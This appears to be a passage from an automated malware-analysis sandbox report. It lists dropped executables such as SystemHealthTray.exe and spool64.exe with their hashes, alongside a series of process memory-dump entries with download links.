                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            SystemHealthTray.exe
                            • Path C:\Windows\SystemHealthTray.exe
                            • Size 10.1MB
                            • SHA256 dc437b8726e618a266e20b767306d7707116ac4ccfbc0192af52ba0ffa6c730c
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            spool64.exe
                            • Path C:\Windows\spool64.exe
                            • Size 47KB
                            • SHA256 eeae9914de1a63a9fb047f7e5537d7c9e12427214488322c7787616c229ed365
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            memory/176-494-0x0000000140000000-0x00000001419BB000-memory.dmp
                            Download

                            memory/256-641-0x0000000140000000-0x00000001419BB000-memory.dmp
                            Download

                            memory/624-741-0x0000000140000000-0x00000001419BB000-memory.dmp
                            Download

                            memory/976-541-0x0000000140000000-0x00000001419BB000-memory.dmp
                            Download

                            memory/1456-387-0x0000000140000000-0x00000001419BB000-memory.dmp
                            Download

                            memory/2100-67-0x0000026EFF470000-0x0000026EFF492000-memory.dmp
                            Download

                            memory/2100-58-0x0000026EFD1C0000-0x0000026EFD1D0000-memory.dmp
                            Download

                            memory/2100-59-0x0000026EFD1C0000-0x0000026EFD1D0000-memory.dmp
                            Download

                            memory/2124-440-0x0000000140000000-0x00000001419BB000-memory.dmp
                            Download

                            memory/2176-373-0x0000000140000000-0x00000001419BB000-memory.dmp
                            Download

                            memory/2176-371-0x00007FFBA00F0000-0x00007FFBA00F2000-memory.dmp
                            Download

                            memory/2176-372-0x00007FFBA0100000-0x00007FFBA0102000-memory.dmp
                            Download

                            memory/2624-695-0x0000000140000000-0x00000001419BB000-memory.dmp
                            Download

                            memory/3404-341-0x0000000000EA0000-0x0000000000EB2000-memory.dmp
                            Download

                            memory/4880-594-0x0000000140000000-0x00000001419BB000-memory.dmp
                            Download